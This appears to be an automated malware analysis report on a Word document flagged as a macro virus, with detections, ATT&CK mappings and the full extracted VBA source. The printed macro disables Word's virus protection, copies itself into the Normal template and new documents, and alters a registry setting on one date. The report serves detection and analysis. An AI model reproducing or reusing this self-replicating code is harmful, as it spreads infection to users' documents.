MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
This Office document contains VBA macros, specifically a Document_Open macro designed to infect the Normal template and potentially other documents. The macro attempts to copy its code into the Normal template, indicating a persistence or spreading mechanism. While the specific payload is not directly executed or observable from the provided evidence, the presence of the macro and its infection routine strongly suggests malicious intent, likely as a downloader or part of a broader phishing campaign.
Heuristics 3
-
ClamAV: Doc.Trojan.Inadd-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Inadd-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1543 bytes |
SHA-256: 9a5dc13c56669179e146c03ccea611241e7e20bc4bbdf2118ac369f23d235d4f |
|||
|
Detection
ClamAV:
Doc.Trojan.Inadd-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = (Rnd * 0)
Options.SaveNormalPrompt = (Rnd * 0)
If MacroContainer.FullName = NormalTemplate.FullName Then Set Infect = ActiveDocument.VBProject.vbcomponents(1).codemodule: SaveIt = 1
If MacroContainer.FullName = ActiveDocument.FullName Then Set Infect = NormalTemplate.VBProject.vbcomponents(1).codemodule
If Infect.countoflines < 1 Then Infect.insertlines 1, MacroContainer.VBProject.vbcomponents(1).codemodule.lines(1, MacroContainer.VBProject.vbcomponents(1).codemodule.countoflines)
If SaveIt = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, Fileformat:=wdDocument
ActiveDocument.Saved = True
If Day(Now) = 28 And Month(Now) = 5 Then System.PrivateProfileString("", "HKEY_USERS\.Default\Control Panel\International ", "sTimeformat") = "": Application.UserName = "Timeless Phenomenon"
End Sub
Private Sub document_new()
Set NormalTD = NormalTemplate.VBProject.vbcomponents(1).codemodule
Set ActiveTD = ActiveDocument.VBProject.vbcomponents(1).codemodule
ActiveTD.insertlines 1, NormalTD.lines(1, NormalTD.countoflines)
ActiveDocument.Saved = True
End Sub
'W97M/Timeless by e-
Private Sub ScrollBar1_Change()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.